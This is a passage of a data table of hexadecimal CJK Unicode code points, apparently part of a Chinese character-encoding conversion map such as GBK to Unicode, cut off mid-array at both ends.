0x6362, 0x60A3, 0x5524, 0x75EA, 0x8C62, 0x7115, 0x6DA3, 0x5BA6, 0x5E7B,
0x8352, 0x614C, 0x9EC4, 0x78FA, 0x8757, 0x7C27, 0x7687, 0x51F0, 0x60F6,
0x714C, 0x6643, 0x5E4C, 0x604D, 0x8C0E, 0x7070, 0x6325, 0x8F89, 0x5FBD,
0x6062, 0x86D4, 0x56DE, 0x6BC1, 0x6094, 0x6167, 0x5349, 0x60E0, 0x6666,
0x8D3F, 0x79FD, 0x4F1A, 0x70E9, 0x6C47, 0x8BB3, 0x8BF2, 0x7ED8, 0x8364,
0x660F, 0x5A5A, 0x9B42, 0x6D51, 0x6DF7, 0x8C41, 0x6D3B, 0x4F19, 0x706B,
0x83B7, 0x6216, 0x60D1, 0x970D, 0x8D27, 0x7978, 0x51FB, 0x573E, 0x57FA,
0x673A, 0x7578, 0x7A3D, 0x79EF, 0x7B95, 0x7CBF, 0x7CC0, 0x7CC2, 0x7CC3,
0x7CC4, 0x7CC6, 0x7CC9, 0x7CCB, 0x7CCE, 0x7CCF, 0x7CD0, 0x7CD1, 0x7CD2,
0x7CD3, 0x7CD4, 0x7CD8, 0x7CDA, 0x7CDB, 0x7CDD, 0x7CDE, 0x7CE1, 0x7CE2,
0x7CE3, 0x7CE4, 0x7CE5, 0x7CE6, 0x7CE7, 0x7CE9, 0x7CEA, 0x7CEB, 0x7CEC,
0x7CED, 0x7CEE, 0x7CF0, 0x7CF1, 0x7CF2, 0x7CF3, 0x7CF4, 0x7CF5, 0x7CF6,
0x7CF7, 0x7CF9, 0x7CFA, 0x7CFC, 0x7CFD, 0x7CFE, 0x7CFF, 0x7D00, 0x7D01,
0x7D02, 0x7D03, 0x7D04, 0x7D05, 0x7D06, 0x7D07, 0x7D08, 0x7D09, 0x7D0B,
0x7D0C, 0x7D0D, 0x7D0E, 0x7D0F, 0x7D10, 0x7D11, 0x7D12, 0x7D13, 0x7D14,
0x7D15, 0x7D16, 0x7D17, 0x7D18, 0x7D19, 0x7D1A, 0x7D1B, 0x7D1C, 0x7D1D,
0x7D1E, 0x7D1F, 0x7D21, 0x7D23, 0x7D24, 0x7D25, 0x7D26, 0x7D28, 0x7D29,
0x7D2A, 0x7D2C, 0x7D2D, 0x7D2E, 0x7D30, 0x7D31, 0x7D32, 0x7D33, 0x7D34,
0x7D35, 0x7D36, 0x808C, 0x9965, 0x8FF9, 0x6FC0, 0x8BA5, 0x9E21, 0x59EC,
0x7EE9, 0x7F09, 0x5409, 0x6781, 0x68D8, 0x8F91, 0x7C4D, 0x96C6, 0x53CA,
0x6025, 0x75BE, 0x6C72, 0x5373, 0x5AC9, 0x7EA7, 0x6324, 0x51E0, 0x810A,
0x5DF1, 0x84DF, 0x6280, 0x5180, 0x5B63, 0x4F0E, 0x796D, 0x5242, 0x60B8,
0x6D4E, 0x5BC4, 0x5BC2, 0x8BA1, 0x8BB0, 0x65E2, 0x5FCC, 0x9645, 0x5993,
0x7EE7, 0x7EAA, 0x5609, 0x67B7, 0x5939, 0x4F73, 0x5BB6, 0x52A0, 0x835A,
0x988A, 0x8D3E, 0x7532, 0x94BE, 0x5047, 0x7A3C, 0x4EF7, 0x67B6, 0x9A7E,
0x5AC1, 0x6B7C, 0x76D1, 0x575A, 0x5C16, 0x7B3A, 0x95F4, 0x714E, 0x517C,
0x80A9, 0x8270, 0x5978, 0x7F04, 0x8327, 0x68C0, 0x67EC, 0x78B1, 0x7877,
0x62E3, 0x6361, 0x7B80, 0x4FED, 0x526A, 0x51CF, 0x8350, 0x69DB, 0x9274,
0x8DF5, 0x8D31, 0x89C1, 0x952E, 0x7BAD, 0x4EF6, 0x7D37, 0x7D38, 0x7D39,
0x7D3A, 0x7D3B, 0x7D3C, 0x7D3D, 0x7D3E, 0x7D3F, 0x7D40, 0x7D41, 0x7D42,
0x7D43, 0x7D44, 0x7D45, 0x7D46, 0x7D47, 0x7D48, 0x7D49, 0x7D4A, 0x7D4B,
0x7D4C, 0x7D4D, 0x7D4E, 0x7D4F, 0x7D50, 0x7D51, 0x7D52, 0x7D53, 0x7D54,
0x7D55, 0x7D56, 0x7D57, 0x7D58, 0x7D59, 0x7D5A, 0x7D5B, 0x7D5C, 0x7D5D,
0x7D5E, 0x7D5F, 0x7D60, 0x7D61, 0x7D62, 0x7D63, 0x7D64, 0x7D65, 0x7D66,
0x7D67, 0x7D68, 0x7D69, 0x7D6A, 0x7D6B, 0x7D6C, 0x7D6D, 0x7D6F, 0x7D70,
0x7D71, 0x7D72, 0x7D73, 0x7D74, 0x7D75, 0x7D76, 0x7D78, 0x7D79, 0x7D7A,
0x7D7B, 0x7D7C, 0x7D7D, 0x7D7E, 0x7D7F, 0x7D80, 0x7D81, 0x7D82, 0x7D83,
0x7D84, 0x7D85, 0x7D86, 0x7D87, 0x7D88, 0x7D89, 0x7D8A, 0x7D8B, 0x7D8C,
0x7D8D, 0x7D8E, 0x7D8F, 0x7D90, 0x7D91, 0x7D92, 0x7D93, 0x7D94, 0x7D95,
0x7D96, 0x7D97, 0x7D98, 0x5065, 0x8230, 0x5251, 0x996F, 0x6E10, 0x6E85,
0x6DA7, 0x5EFA, 0x50F5, 0x59DC, 0x5C06, 0x6D46, 0x6C5F, 0x7586, 0x848B,
0x6868, 0x5956, 0x8BB2, 0x5320, 0x9171, 0x964D, 0x8549, 0x6912, 0x7901,
0x7126, 0x80F6, 0x4EA4, 0x90CA, 0x6D47, 0x9A84, 0x5A07, 0x56BC, 0x6405,
0x94F0, 0x77EB, 0x4FA5, 0x811A, 0x72E1, 0x89D2, 0x997A, 0x7F34, 0x7EDE,
0x527F, 0x6559, 0x9175, 0x8F7F, 0x8F83, 0x53EB, 0x7A96, 0x63ED, 0x63A5,
0x7686, 0x79F8, 0x8857, 0x9636, 0x622A, 0x52AB, 0x8282, 0x6854, 0x6770,
0x6377, 0x776B, 0x7AED, 0x6D01, 0x7ED3, 0x89E3, 0x59D0, 0x6212, 0x85C9,
0x82A5, 0x754C, 0x501F, 0x4ECB, 0x75A5, 0x8BEB, 0x5C4A, 0x5DFE, 0x7B4B,
0x65A4, 0x91D1, 0x4ECA, 0x6D25, 0x895F, 0x7D27, 0x9526, 0x4EC5, 0x8C28,
0x8FDB, 0x9773, 0x664B, 0x7981, 0x8FD1, 0x70EC, 0x6D78, 0x7D99, 0x7D9A,
0x7D9B, 0x7D9C, 0x7D9D, 0x7D9E, 0x7D9F, 0x7DA0, 0x7DA1, 0x7DA2, 0x7DA3,
0x7DA4, 0x7DA5, 0x7DA7, 0x7DA8, 0x7DA9, 0x7DAA, 0x7DAB, 0x7DAC, 0x7DAD,
0x7DAF, 0x7DB0, 0x7DB1, 0x7DB2, 0x7DB3, 0x7DB4, 0x7DB5, 0x7DB6, 0x7DB7,
0x7DB8, 0x7DB9, 0x7DBA, 0x7DBB, 0x7DBC, 0x7DBD, 0x7DBE, 0x7DBF, 0x7DC0,
0x7DC1, 0x7DC2, 0x7DC3, 0x7DC4, 0x7DC5, 0x7DC6, 0x7DC7, 0x7DC8, 0x7DC9,
0x7DCA, 0x7DCB, 0x7DCC, 0x7DCD, 0x7DCE, 0x7DCF, 0x7DD0, 0x7DD1, 0x7DD2,
0x7DD3, 0x7DD4, 0x7DD5, 0x7DD6, 0x7DD7, 0x7DD8, 0x7DD9, 0x7DDA, 0x7DDB,
0x7DDC, 0x7DDD, 0x7DDE, 0x7DDF, 0x7DE0, 0x7DE1, 0x7DE2, 0x7DE3, 0x7DE4,
0x7DE5, 0x7DE6, 0x7DE7, 0x7DE8, 0x7DE9, 0x7DEA, 0x7DEB, 0x7DEC, 0x7DED,
0x7DEE, 0x7DEF, 0x7DF0, 0x7DF1, 0x7DF2, 0x7DF3, 0x7DF4, 0x7DF5, 0x7DF6,
0x7DF7, 0x7DF8, 0x7DF9, 0x7DFA, 0x5C3D, 0x52B2, 0x8346, 0x5162, 0x830E,
0x775B, 0x6676, 0x9CB8, 0x4EAC, 0x60CA, 0x7CBE, 0x7CB3, 0x7ECF, 0x4E95,
0x8B66, 0x666F, 0x9888, 0x9759, 0x5883, 0x656C, 0x955C, 0x5F84, 0x75C9,
0x9756, 0x7ADF, 0x7ADE, 0x51C0, 0x70AF, 0x7A98, 0x63EA, 0x7A76, 0x7EA0,
0x7396, 0x97ED, 0x4E45, 0x7078, 0x4E5D, 0x9152, 0x53A9, 0x6551, 0x65E7,
0x81FC, 0x8205, 0x548E, 0x5C31, 0x759A, 0x97A0, 0x62D8, 0x72D9, 0x75BD,
0x5C45, 0x9A79, 0x83CA, 0x5C40, 0x5480, 0x77E9, 0x4E3E, 0x6CAE, 0x805A,
0x62D2, 0x636E, 0x5DE8, 0x5177, 0x8DDD, 0x8E1E, 0x952F, 0x4FF1, 0x53E5,
0x60E7, 0x70AC, 0x5267, 0x6350, 0x9E43, 0x5A1F, 0x5026, 0x7737, 0x5377,
0x7EE2, 0x6485, 0x652B, 0x6289, 0x6398, 0x5014, 0x7235, 0x89C9, 0x51B3,
0x8BC0, 0x7EDD, 0x5747, 0x83CC, 0x94A7, 0x519B, 0x541B, 0x5CFB, 0x7DFB,
0x7DFC, 0x7DFD, 0x7DFE, 0x7DFF, 0x7E00, 0x7E01, 0x7E02, 0x7E03, 0x7E04,
0x7E05, 0x7E06, 0x7E07, 0x7E08, 0x7E09, 0x7E0A, 0x7E0B, 0x7E0C, 0x7E0D,
0x7E0E, 0x7E0F, 0x7E10, 0x7E11, 0x7E12, 0x7E13, 0x7E14, 0x7E15, 0x7E16,
0x7E17, 0x7E18, 0x7E19, 0x7E1A, 0x7E1B, 0x7E1C, 0x7E1D, 0x7E1E, 0x7E1F,
0x7E20, 0x7E21, 0x7E22, 0x7E23, 0x7E24, 0x7E25, 0x7E26, 0x7E27, 0x7E28,
0x7E29, 0x7E2A, 0x7E2B, 0x7E2C, 0x7E2D, 0x7E2E, 0x7E2F, 0x7E30, 0x7E31,
0x7E32, 0x7E33, 0x7E34, 0x7E35, 0x7E36, 0x7E37, 0x7E38, 0x7E39, 0x7E3A,
0x7E3C, 0x7E3D, 0x7E3E, 0x7E3F, 0x7E40, 0x7E42, 0x7E43, 0x7E44, 0x7E45,
0x7E46, 0x7E48, 0x7E49, 0x7E4A, 0x7E4B, 0x7E4C, 0x7E4D, 0x7E4E, 0x7E4F,
0x7E50, 0x7E51, 0x7E52, 0x7E53, 0x7E54, 0x7E55, 0x7E56, 0x7E57, 0x7E58,
0x7E59, 0x7E5A, 0x7E5B, 0x7E5C, 0x7E5D, 0x4FCA, 0x7AE3, 0x6D5A, 0x90E1,
0x9A8F, 0x5580, 0x5496, 0x5361, 0x54AF, 0x5F00, 0x63E9, 0x6977, 0x51EF,
0x6168, 0x520A, 0x582A, 0x52D8, 0x574E, 0x780D, 0x770B, 0x5EB7, 0x6177,
0x7CE0, 0x625B, 0x6297, 0x4EA2, 0x7095, 0x8003, 0x62F7, 0x70E4, 0x9760,
0x5777, 0x82DB, 0x67EF, 0x68F5, 0x78D5, 0x9897, 0x79D1, 0x58F3, 0x54B3,
0x53EF, 0x6E34, 0x514B, 0x523B, 0x5BA2, 0x8BFE, 0x80AF, 0x5543, 0x57A6,
0x6073, 0x5751, 0x542D, 0x7A7A, 0x6050, 0x5B54, 0x63A7, 0x62A0, 0x53E3,
0x6263, 0x5BC7, 0x67AF, 0x54ED, 0x7A9F, 0x82E6, 0x9177, 0x5E93, 0x88E4,
0x5938, 0x57AE, 0x630E, 0x8DE8, 0x80EF, 0x5757, 0x7B77, 0x4FA9, 0x5FEB,
0x5BBD, 0x6B3E, 0x5321, 0x7B50, 0x72C2, 0x6846, 0x77FF, 0x7736, 0x65F7,
0x51B5, 0x4E8F, 0x76D4, 0x5CBF, 0x7AA5, 0x8475, 0x594E, 0x9B41, 0x5080,
0x7E5E, 0x7E5F, 0x7E60, 0x7E61, 0x7E62, 0x7E63, 0x7E64, 0x7E65, 0x7E66,
0x7E67, 0x7E68, 0x7E69, 0x7E6A, 0x7E6B, 0x7E6C, 0x7E6D, 0x7E6E, 0x7E6F,
0x7E70, 0x7E71, 0x7E72, 0x7E73, 0x7E74, 0x7E75, 0x7E76, 0x7E77, 0x7E78,
0x7E79, 0x7E7A, 0x7E7B, 0x7E7C, 0x7E7D, 0x7E7E, 0x7E7F, 0x7E80, 0x7E81,
0x7E83, 0x7E84, 0x7E85, 0x7E86, 0x7E87, 0x7E88, 0x7E89, 0x7E8A, 0x7E8B,
0x7E8C, 0x7E8D, 0x7E8E, 0x7E8F, 0x7E90, 0x7E91, 0x7E92, 0x7E93, 0x7E94,
0x7E95, 0x7E96, 0x7E97, 0x7E98, 0x7E99, 0x7E9A, 0x7E9C, 0x7E9D, 0x7E9E,
0x7EAE, 0x7EB4, 0x7EBB, 0x7EBC, 0x7ED6, 0x7EE4, 0x7EEC, 0x7EF9, 0x7F0A,
0x7F10, 0x7F1E, 0x7F37, 0x7F39, 0x7F3B, 0x7F3C, 0x7F3D, 0x7F3E, 0x7F3F,
0x7F40, 0x7F41, 0x7F43, 0x7F46, 0x7F47, 0x7F48, 0x7F49, 0x7F4A, 0x7F4B,
0x7F4C, 0x7F4D, 0x7F4E, 0x7F4F, 0x7F52, 0x7F53, 0x9988, 0x6127, 0x6E83,
0x5764, 0x6606, 0x6346, 0x56F0, 0x62EC, 0x6269, 0x5ED3, 0x9614, 0x5783,
0x62C9, 0x5587, 0x8721, 0x814A, 0x8FA3, 0x5566, 0x83B1, 0x6765, 0x8D56,
0x84DD, 0x5A6A, 0x680F, 0x62E6, 0x7BEE, 0x9611, 0x5170, 0x6F9C, 0x8C30,
0x63FD, 0x89C8, 0x61D2, 0x7F06, 0x70C2, 0x6EE5, 0x7405, 0x6994, 0x72FC,
0x5ECA, 0x90CE, 0x6717, 0x6D6A, 0x635E, 0x52B3, 0x7262, 0x8001, 0x4F6C,
0x59E5, 0x916A, 0x70D9, 0x6D9D, 0x52D2, 0x4E50, 0x96F7, 0x956D, 0x857E,
0x78CA, 0x7D2F, 0x5121, 0x5792, 0x64C2, 0x808B, 0x7C7B, 0x6CEA, 0x68F1,
0x695E, 0x51B7, 0x5398, 0x68A8, 0x7281, 0x9ECE, 0x7BF1, 0x72F8, 0x79BB,
0x6F13, 0x7406, 0x674E, 0x91CC, 0x9CA4, 0x793C, 0x8389, 0x8354, 0x540F,
0x6817, 0x4E3D, 0x5389, 0x52B1, 0x783E, 0x5386, 0x5229, 0x5088, 0x4F8B,
0x4FD0, 0x7F56, 0x7F59, 0x7F5B, 0x7F5C, 0x7F5D, 0x7F5E, 0x7F60, 0x7F63,
0x7F64, 0x7F65, 0x7F66, 0x7F67, 0x7F6B, 0x7F6C, 0x7F6D, 0x7F6F, 0x7F70,
0x7F73, 0x7F75, 0x7F76, 0x7F77, 0x7F78, 0x7F7A, 0x7F7B, 0x7F7C, 0x7F7D,
0x7F7F, 0x7F80, 0x7F82, 0x7F83, 0x7F84, 0x7F85, 0x7F86, 0x7F87, 0x7F88,
0x7F89, 0x7F8B, 0x7F8D, 0x7F8F, 0x7F90, 0x7F91, 0x7F92, 0x7F93, 0x7F95,
0x7F96, 0x7F97, 0x7F98, 0x7F99, 0x7F9B, 0x7F9C, 0x7FA0, 0x7FA2, 0x7FA3,
0x7FA5, 0x7FA6, 0x7FA8, 0x7FA9, 0x7FAA, 0x7FAB, 0x7FAC, 0x7FAD, 0x7FAE,
0x7FB1, 0x7FB3, 0x7FB4, 0x7FB5, 0x7FB6, 0x7FB7, 0x7FBA, 0x7FBB, 0x7FBE,
0x7FC0, 0x7FC2, 0x7FC3, 0x7FC4, 0x7FC6, 0x7FC7, 0x7FC8, 0x7FC9, 0x7FCB,
0x7FCD, 0x7FCF, 0x7FD0, 0x7FD1, 0x7FD2, 0x7FD3, 0x7FD6, 0x7FD7, 0x7FD9,
0x7FDA, 0x7FDB, 0x7FDC, 0x7FDD, 0x7FDE, 0x7FE2, 0x7FE3, 0x75E2, 0x7ACB,
0x7C92, 0x6CA5, 0x96B6, 0x529B, 0x7483, 0x54E9, 0x4FE9, 0x8054, 0x83B2,
0x8FDE, 0x9570, 0x5EC9, 0x601C, 0x6D9F, 0x5E18, 0x655B, 0x8138, 0x94FE,
0x604B, 0x70BC, 0x7EC3, 0x7CAE, 0x51C9, 0x6881, 0x7CB1, 0x826F, 0x4E24,
0x8F86, 0x91CF, 0x667E, 0x4EAE, 0x8C05, 0x64A9, 0x804A, 0x50DA, 0x7597,
0x71CE, 0x5BE5, 0x8FBD, 0x6F66, 0x4E86, 0x6482, 0x9563, 0x5ED6, 0x6599,
0x5217, 0x88C2, 0x70C8, 0x52A3, 0x730E, 0x7433, 0x6797, 0x78F7, 0x9716,
0x4E34, 0x90BB, 0x9CDE, 0x6DCB, 0x51DB, 0x8D41, 0x541D, 0x62CE, 0x73B2,
0x83F1, 0x96F6, 0x9F84, 0x94C3, 0x4F36, 0x7F9A, 0x51CC, 0x7075, 0x9675,
0x5CAD, 0x9886, 0x53E6, 0x4EE4, 0x6E9C, 0x7409, 0x69B4, 0x786B, 0x998F,
0x7559, 0x5218, 0x7624, 0x6D41, 0x67F3, 0x516D, 0x9F99, 0x804B, 0x5499,
0x7B3C, 0x7ABF, 0x7FE4, 0x7FE7, 0x7FE8, 0x7FEA, 0x7FEB, 0x7FEC, 0x7FED,
0x7FEF, 0x7FF2, 0x7FF4, 0x7FF5, 0x7FF6, 0x7FF7, 0x7FF8, 0x7FF9, 0x7FFA,
0x7FFD, 0x7FFE, 0x7FFF, 0x8002, 0x8007, 0x8008, 0x8009, 0x800A, 0x800E,
0x800F, 0x8011, 0x8013, 0x801A, 0x801B, 0x801D, 0x801E, 0x801F, 0x8021,
0x8023, 0x8024, 0x802B, 0x802C, 0x802D, 0x802E, 0x802F, 0x8030, 0x8032,
0x8034, 0x8039, 0x803A, 0x803C, 0x803E, 0x8040, 0x8041, 0x8044, 0x8045,
0x8047, 0x8048, 0x8049, 0x804E, 0x804F, 0x8050, 0x8051, 0x8053, 0x8055,
0x8056, 0x8057, 0x8059, 0x805B, 0x805C, 0x805D, 0x805E, 0x805F, 0x8060,
0x8061, 0x8062, 0x8063, 0x8064, 0x8065, 0x8066, 0x8067, 0x8068, 0x806B,
0x806C, 0x806D, 0x806E, 0x806F, 0x8070, 0x8072, 0x8073, 0x8074, 0x8075,
0x8076, 0x8077, 0x8078, 0x8079, 0x807A, 0x807B, 0x807C, 0x807D, 0x9686,
0x5784, 0x62E2, 0x9647, 0x697C, 0x5A04, 0x6402, 0x7BD3, 0x6F0F, 0x964B,
0x82A6, 0x5362, 0x9885, 0x5E90, 0x7089, 0x63B3, 0x5364, 0x864F, 0x9C81,
0x9E93, 0x788C, 0x9732, 0x8DEF, 0x8D42, 0x9E7F, 0x6F5E, 0x7984, 0x5F55,
0x9646, 0x622E, 0x9A74, 0x5415, 0x94DD, 0x4FA3, 0x65C5, 0x5C65, 0x5C61,
0x7F15, 0x8651, 0x6C2F, 0x5F8B, 0x7387, 0x6EE4, 0x7EFF, 0x5CE6, 0x631B,
0x5B6A, 0x6EE6, 0x5375, 0x4E71, 0x63A0, 0x7565, 0x62A1, 0x8F6E, 0x4F26,
0x4ED1, 0x6CA6, 0x7EB6, 0x8BBA, 0x841D, 0x87BA, 0x7F57, 0x903B, 0x9523,
0x7BA9, 0x9AA1, 0x88F8, 0x843D, 0x6D1B, 0x9A86, 0x7EDC, 0x5988, 0x9EBB,
0x739B, 0x7801, 0x8682, 0x9A6C, 0x9A82, 0x561B, 0x5417, 0x57CB, 0x4E70,
0x9EA6, 0x5356, 0x8FC8, 0x8109, 0x7792, 0x9992, 0x86EE, 0x6EE1, 0x8513,
0x66FC, 0x6162, 0x6F2B, 0x807E, 0x8081, 0x8082, 0x8085, 0x8088, 0x808A,
0x808D, 0x808E, 0x808F, 0x8090, 0x8091, 0x8092, 0x8094, 0x8095, 0x8097,
0x8099, 0x809E, 0x80A3, 0x80A6, 0x80A7, 0x80A8, 0x80AC, 0x80B0, 0x80B3,
0x80B5, 0x80B6, 0x80B8, 0x80B9, 0x80BB, 0x80C5, 0x80C7, 0x80C8, 0x80C9,
0x80CA, 0x80CB, 0x80CF, 0x80D0, 0x80D1, 0x80D2, 0x80D3, 0x80D4, 0x80D5,
0x80D8, 0x80DF, 0x80E0, 0x80E2, 0x80E3, 0x80E6, 0x80EE, 0x80F5, 0x80F7,
0x80F9, 0x80FB, 0x80FE, 0x80FF, 0x8100, 0x8101, 0x8103, 0x8104, 0x8105,
0x8107, 0x8108, 0x810B, 0x810C, 0x8115, 0x8117, 0x8119, 0x811B, 0x811C,
0x811D, 0x811F, 0x8120, 0x8121, 0x8122, 0x8123, 0x8124, 0x8125, 0x8126,
0x8127, 0x8128, 0x8129, 0x812A, 0x812B, 0x812D, 0x812E, 0x8130, 0x8133,
0x8134, 0x8135, 0x8137, 0x8139, 0x813A, 0x813B, 0x813C, 0x813D, 0x813F,
0x8C29, 0x8292, 0x832B, 0x76F2, 0x6C13, 0x5FD9, 0x83BD, 0x732B, 0x8305,
0x951A, 0x6BDB, 0x77DB, 0x94C6, 0x536F, 0x8302, 0x5192, 0x5E3D, 0x8C8C,
0x8D38, 0x4E48, 0x73AB, 0x679A, 0x6885, 0x9176, 0x9709, 0x7164, 0x6CA1,
0x7709, 0x5A92, 0x9541, 0x6BCF, 0x7F8E, 0x6627, 0x5BD0, 0x59B9, 0x5A9A,
0x95E8, 0x95F7, 0x4EEC, 0x840C, 0x8499, 0x6AAC, 0x76DF, 0x9530, 0x731B,
0x68A6, 0x5B5F, 0x772F, 0x919A, 0x9761, 0x7CDC, 0x8FF7, 0x8C1C, 0x5F25,
0x7C73, 0x79D8, 0x89C5, 0x6CCC, 0x871C, 0x5BC6, 0x5E42, 0x68C9, 0x7720,
0x7EF5, 0x5195, 0x514D, 0x52C9, 0x5A29, 0x7F05, 0x9762, 0x82D7, 0x63CF,
0x7784, 0x85D0, 0x79D2, 0x6E3A, 0x5E99, 0x5999, 0x8511, 0x706D, 0x6C11,
0x62BF, 0x76BF, 0x654F, 0x60AF, 0x95FD, 0x660E, 0x879F, 0x9E23, 0x94ED,
0x540D, 0x547D, 0x8C2C, 0x6478, 0x8140, 0x8141, 0x8142, 0x8143, 0x8144,
0x8145, 0x8147, 0x8149, 0x814D, 0x814E, 0x814F, 0x8152, 0x8156, 0x8157,
0x8158, 0x815B, 0x815C, 0x815D, 0x815E, 0x815F, 0x8161, 0x8162, 0x8163,
0x8164, 0x8166, 0x8168, 0x816A, 0x816B, 0x816C, 0x816F, 0x8172, 0x8173,
0x8175, 0x8176, 0x8177, 0x8178, 0x8181, 0x8183, 0x8184, 0x8185, 0x8186,
0x8187, 0x8189, 0x818B, 0x818C, 0x818D, 0x818E, 0x8190, 0x8192, 0x8193,
0x8194, 0x8195, 0x8196, 0x8197, 0x8199, 0x819A, 0x819E, 0x819F, 0x81A0,
0x81A1, 0x81A2, 0x81A4, 0x81A5, 0x81A7, 0x81A9, 0x81AB, 0x81AC, 0x81AD,
0x81AE, 0x81AF, 0x81B0, 0x81B1, 0x81B2, 0x81B4, 0x81B5, 0x81B6, 0x81B7,
0x81B8, 0x81B9, 0x81BC, 0x81BD, 0x81BE, 0x81BF, 0x81C4, 0x81C5, 0x81C7,
0x81C8, 0x81C9, 0x81CB, 0x81CD, 0x81CE, 0x81CF, 0x81D0, 0x81D1, 0x81D2,
0x81D3, 0x6479, 0x8611, 0x6A21, 0x819C, 0x78E8, 0x6469, 0x9B54, 0x62B9,
0x672B, 0x83AB, 0x58A8, 0x9ED8, 0x6CAB, 0x6F20, 0x5BDE, 0x964C, 0x8C0B,
0x725F, 0x67D0, 0x62C7, 0x7261, 0x4EA9, 0x59C6, 0x6BCD, 0x5893, 0x66AE,
0x5E55, 0x52DF, 0x6155, 0x6728, 0x76EE, 0x7766, 0x7267, 0x7A46, 0x62FF,
0x54EA, 0x5450, 0x94A0, 0x90A3, 0x5A1C, 0x7EB3, 0x6C16, 0x4E43, 0x5976,
0x8010, 0x5948, 0x5357, 0x7537, 0x96BE, 0x56CA, 0x6320, 0x8111, 0x607C,
0x95F9, 0x6DD6, 0x5462, 0x9981, 0x5185, 0x5AE9, 0x80FD, 0x59AE, 0x9713,
0x502A, 0x6CE5, 0x5C3C, 0x62DF, 0x4F60, 0x533F, 0x817B, 0x9006, 0x6EBA,
0x852B, 0x62C8, 0x5E74, 0x78BE, 0x64B5, 0x637B, 0x5FF5, 0x5A18, 0x917F,
0x9E1F, 0x5C3F, 0x634F, 0x8042, 0x5B7D, 0x556E, 0x954A, 0x954D, 0x6D85,
0x60A8, 0x67E0, 0x72DE, 0x51DD, 0x5B81, 0x81D4, 0x81D5, 0x81D6, 0x81D7,
0x81D8, 0x81D9, 0x81DA, 0x81DB, 0x81DC, 0x81DD, 0x81DE, 0x81DF, 0x81E0,
0x81E1, 0x81E2, 0x81E4, 0x81E5, 0x81E6, 0x81E8, 0x81E9, 0x81EB, 0x81EE,
0x81EF, 0x81F0, 0x81F1, 0x81F2, 0x81F5, 0x81F6, 0x81F7, 0x81F8, 0x81F9,
0x81FA, 0x81FD, 0x81FF, 0x8203, 0x8207, 0x8208, 0x8209, 0x820A, 0x820B,
0x820E, 0x820F, 0x8211, 0x8213, 0x8215, 0x8216, 0x8217, 0x8218, 0x8219,
0x821A, 0x821D, 0x8220, 0x8224, 0x8225, 0x8226, 0x8227, 0x8229, 0x822E,
0x8232, 0x823A, 0x823C, 0x823D, 0x823F, 0x8240, 0x8241, 0x8242, 0x8243,
0x8245, 0x8246, 0x8248, 0x824A, 0x824C, 0x824D, 0x824E, 0x8250, 0x8251,
0x8252, 0x8253, 0x8254, 0x8255, 0x8256, 0x8257, 0x8259, 0x825B, 0x825C,
0x825D, 0x825E, 0x8260, 0x8261, 0x8262, 0x8263, 0x8264, 0x8265, 0x8266,
0x8267, 0x8269, 0x62E7, 0x6CDE, 0x725B, 0x626D, 0x94AE, 0x7EBD, 0x8113,
0x6D53, 0x519C, 0x5F04, 0x5974, 0x52AA, 0x6012, 0x5973, 0x6696, 0x8650,
0x759F, 0x632A, 0x61E6, 0x7CEF, 0x8BFA, 0x54E6, 0x6B27, 0x9E25, 0x6BB4,
0x85D5, 0x5455, 0x5076, 0x6CA4, 0x556A, 0x8DB4, 0x722C, 0x5E15, 0x6015,
0x7436, 0x62CD, 0x6392, 0x724C, 0x5F98, 0x6E43, 0x6D3E, 0x6500, 0x6F58,
0x76D8, 0x78D0, 0x76FC, 0x7554, 0x5224, 0x53DB, 0x4E53, 0x5E9E, 0x65C1,
0x802A, 0x80D6, 0x629B, 0x5486, 0x5228, 0x70AE, 0x888D, 0x8DD1, 0x6CE1,
0x5478, 0x80DA, 0x57F9, 0x88F4, 0x8D54, 0x966A, 0x914D, 0x4F69, 0x6C9B,
0x55B7, 0x76C6, 0x7830, 0x62A8, 0x70F9, 0x6F8E, 0x5F6D, 0x84EC, 0x68DA,
0x787C, 0x7BF7, 0x81A8, 0x670B, 0x9E4F, 0x6367, 0x78B0, 0x576F, 0x7812,
0x9739, 0x6279, 0x62AB, 0x5288, 0x7435, 0x6BD7, 0x826A, 0x826B, 0x826C,
0x826D, 0x8271, 0x8275, 0x8276, 0x8277, 0x8278, 0x827B, 0x827C, 0x8280,
0x8281, 0x8283, 0x8285, 0x8286, 0x8287, 0x8289, 0x828C, 0x8290, 0x8293,
0x8294, 0x8295, 0x8296, 0x829A, 0x829B, 0x829E, 0x82A0, 0x82A2, 0x82A3,
0x82A7, 0x82B2, 0x82B5, 0x82B6, 0x82BA, 0x82BB, 0x82BC, 0x82BF, 0x82C0,
0x82C2, 0x82C3, 0x82C5, 0x82C6, 0x82C9, 0x82D0, 0x82D6, 0x82D9, 0x82DA,
0x82DD, 0x82E2, 0x82E7, 0x82E8, 0x82E9, 0x82EA, 0x82EC, 0x82ED, 0x82EE,
0x82F0, 0x82F2, 0x82F3, 0x82F5, 0x82F6, 0x82F8, 0x82FA, 0x82FC, 0x82FD,
0x82FE, 0x82FF, 0x8300, 0x830A, 0x830B, 0x830D, 0x8310, 0x8312, 0x8313,
0x8316, 0x8318, 0x8319, 0x831D, 0x831E, 0x831F, 0x8320, 0x8321, 0x8322,
0x8323, 0x8324, 0x8325, 0x8326, 0x8329, 0x832A, 0x832E, 0x8330, 0x8332,
0x8337, 0x833B, 0x833D, 0x5564, 0x813E, 0x75B2, 0x76AE, 0x5339, 0x75DE,
0x50FB, 0x5C41, 0x8B6C, 0x7BC7, 0x504F, 0x7247, 0x9A97, 0x98D8, 0x6F02,
0x74E2, 0x7968, 0x6487, 0x77A5, 0x62FC, 0x9891, 0x8D2B, 0x54C1, 0x8058,
0x4E52, 0x576A, 0x82F9, 0x840D, 0x5E73, 0x51ED, 0x74F6, 0x8BC4, 0x5C4F,
0x5761, 0x6CFC, 0x9887, 0x5A46, 0x7834, 0x9B44, 0x8FEB, 0x7C95, 0x5256,
0x6251, 0x94FA, 0x4EC6, 0x8386, 0x8461, 0x83E9, 0x84B2, 0x57D4, 0x6734,
0x5703, 0x666E, 0x6D66, 0x8C31, 0x66DD, 0x7011, 0x671F, 0x6B3A, 0x6816,
0x621A, 0x59BB, 0x4E03, 0x51C4, 0x6F06, 0x67D2, 0x6C8F, 0x5176, 0x68CB,
0x5947, 0x6B67, 0x7566, 0x5D0E, 0x8110, 0x9F50, 0x65D7, 0x7948, 0x7941,
0x9A91, 0x8D77, 0x5C82, 0x4E5E, 0x4F01, 0x542F, 0x5951, 0x780C, 0x5668,
0x6C14, 0x8FC4, 0x5F03, 0x6C7D, 0x6CE3, 0x8BAB, 0x6390, 0x833E, 0x833F,
